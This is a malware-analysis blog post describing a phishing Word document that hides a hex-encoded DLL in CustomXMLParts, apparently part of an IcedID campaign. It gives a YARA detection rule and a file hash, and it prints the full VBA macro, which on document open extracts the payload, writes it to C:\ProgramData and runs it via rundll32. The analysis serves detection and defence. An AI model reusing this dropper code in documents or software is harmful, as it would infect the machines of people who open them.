Hiding in the XML

Posted on 2022-10-03 by David Ledbetter

In this post I want to cover an item called "CustomXMLParts".

Trying to look up this term you can find variations on what it is. In short, it is an XML container to store arbitrary data to be used in the document. The intention for it appears to give the developer a way to change the formatting of the Office document that is not already available or add additional functionality.

In this case they are storing a hex encoded executable in the “customXml –> item1.xml

Creating a YARA rule to search my repository for just “custom-xml-content” showed me that that is a well-used item but going thru several of the files that the rule hit on showed that they were not used maliciously.

So a new rule to search for the hex string too.

rule Find_CustomXmlContent
            author = "David Ledbetter @Ledtech3"
            source = "https://twitter.com/StopMalvertisin/status/1571036662968512512"
            description = "Generic rule to find extracted custom-xml-content files."
            created = "2022-09-24"

                $s0 = "custom-xml-content" nocase //Xml Tag in file
                $s1 = "customxml" nocase   // Found in the vba not needed but left in
                $h0 = {2F 22 3E 34 64 35 61 39 30} // /">4d5a90  Hex str inside xml tag.

                any of ($s*) and $h0


This rule only works on the decompressed office document that has a “PK” header.

The VBA is rather convoluted, so lets take a quick look.

Here we see on “Document_Open()” it only calls 1 function. “FoalhoodPretransmitGlomerulose()”

Sub Document_Open()
End Sub

Function FoalhoodPretransmitGlomerulose()
    Dim PharmacalLimnology() As Byte           'Extracted hex string to bytes
    Dim AnchorerCrawfishesRedditive As String  'full file path
    Dim JeersCreatinephosphoric As Integer     'not used
    If False Then  'Not sure what makes it false.
        AnchorerCrawfishesRedditive = "c:\ProgramData\xxx.dll" 'Not totaly sure found several sanbox runs with this filename.
        PharmacalLimnology = NonfamilyMandraSonnets("mEGmZfelmibJrBrK") 'Extract Hex string from CustomXml and convert to byte
        AnchorerCrawfishesRedditive = "c:\ProgramData\" + CriminisBadigeonEthylating(8) + ".dll"  'CriminisBadigeonEthylating(8) = build random file name 8 Chrs long
        ClawerLognormality PharmacalLimnology, AnchorerCrawfishesRedditive  'Write bytes to file
    End If
    Shell "rundll32 " + AnchorerCrawfishesRedditive + ",#1"  'Run File
End Function

Function NonfamilyMandraSonnets(SoulhealLongnose)  'Function extracts hexstring
    Dim PotophobiaTintypeSeptempartite, StereotacticallyUnapostolical
    Set PotophobiaTintypeSeptempartite = CallByName(ActiveDocument, "CustomXMLParts", VbGet, "http://" & SoulhealLongnose & "/")
    Set StereotacticallyUnapostolical = CallByName(PotophobiaTintypeSeptempartite, "SelectSingleNode", VbMethod, "/*[local-name()='custom-xml-content']")
    NonfamilyMandraSonnets = MisjudgingExpressnessHookas(CallByName(StereotacticallyUnapostolical, "Text", VbGet))
End Function

Function CriminisBadigeonEthylating(ConfermentPrecooledFinks As Integer) 'Function builds a random filename the length of the value passed '8'
    Dim MenyanthaceaeGarridgeAnnelides As Integer
    Dim DiaphonesHillier As Single
    Dim GadfliesPteropodous As String
    GadfliesPteropodous = ""
    For MenyanthaceaeGarridgeAnnelides = 1 To ConfermentPrecooledFinks
        DiaphonesHillier = Rnd
        If DiaphonesHillier > 0.2 Then
            GadfliesPteropodous = GadfliesPteropodous + BabicheDeprecativelyHippies()
        ElseIf DiaphonesHillier > 0.6 Then
            GadfliesPteropodous = GadfliesPteropodous + NebbuckBarometryQuillwort()
            GadfliesPteropodous = GadfliesPteropodous + SternfullyDoggishnessTalmudists()
        End If
    Next MenyanthaceaeGarridgeAnnelides
    CriminisBadigeonEthylating = GadfliesPteropodous
End Function

Function ClawerLognormality(EsthiomenusOutgabblingTympanicity, HybridizerSequestrationsProjectional) 'Writes file bytes to the path/filename passed
    Dim WomanishTwelfthly As Long
    Dim BromizePassagingNoncontemplative As Integer
    BromizePassagingNoncontemplative = FreeFile
    Open HybridizerSequestrationsProjectional For Binary Access Write As #BromizePassagingNoncontemplative
    For WomanishTwelfthly = 0 To UBound(EsthiomenusOutgabblingTympanicity) - 1
        Put #BromizePassagingNoncontemplative, WomanishTwelfthly + 1, CByte(EsthiomenusOutgabblingTympanicity(WomanishTwelfthly))
    Next WomanishTwelfthly
    Close #BromizePassagingNoncontemplative
End Function

Function MisjudgingExpressnessHookas(MountebanklyNeuropsychologistNitrosoamine)  'Convert Hex string to bytes array
    ReDim CalcaneoscaphoidPolypetalAudiophiles(Len(MountebanklyNeuropsychologistNitrosoamine) / 2) As Byte
    Dim UnawaredChelydidae As Long, SifterCywyddHandclapping As Long
    Dim SporulativeHamauls
    SporulativeHamauls = "&H"
    For UnawaredChelydidae = 1 To Len(MountebanklyNeuropsychologistNitrosoamine) Step 2
        CalcaneoscaphoidPolypetalAudiophiles((UnawaredChelydidae - 1) / 2) = CDec(SporulativeHamauls & Mid(MountebanklyNeuropsychologistNitrosoamine, UnawaredChelydidae, 2))
    MisjudgingExpressnessHookas = CalcaneoscaphoidPolypetalAudiophiles
End Function

This code block contains all of the code required to extract, drop, and run the dll.

As we can see in the commented code block, it will find and extract the hex string, convert it to a byte array, and build a random file name from a given length. It will then write the file to disk and then run it.

Unless I’m missing something the rest of the code appears not to be used.

The file hash for this sample is the one from the YARA rule.

SHA256: 7e06cdff2b667d8748bc8822ef11173cd7a66c5a52d2d2fbaf78c92a94c5f69c

The Twitter Link from Kimberly @StopMalvertisin is Here. The thread shows that the file was originally sent as an “rtf” but in fact, it was a docx file. (never trust a file extension)

On September 27th, 2022 @bigmacjpg posted a tweet with a list of 43 doc file hashes and the hashes of the dll Here.

The lure from this appears to be reused in the files I looked at.

Doing a search for the file name of the picture file “VIYb.pg” (Detected as a domain name) we are currently getting 132 hits. It was 125 yesterday.

Doing a list diff of all 43 files shows that this list from InQuest Labs contains all 43 hashes.

Also in the same Twitter thread, ExecuteMalware @executemalware posted a link to a IOC here on GitHub.

The documents come via email and usually end up dropping IcedID malware.

Although these can be easy to detect currently once decompressed they also still appear to be making changes in the vba and I wouldn’t be suspired if they don’t start encoding the hex string in the Xml at some point. Even obfuscated the sheer size of the item contained in the Xml tag would be a giveaway and a possibility for  a detection.

labs in-the-wild

Get The InQuest Insider

Find us on Twitter for frequent updates, follow our Blog for bi-weekly technical write-ups, or subscribe here to receive our monthly newsletter, The InQuest Insider. We curate and provide you with the latest news stories, field notes about innovative malware, novel research / analysis / threat hunting tools, security tips and more.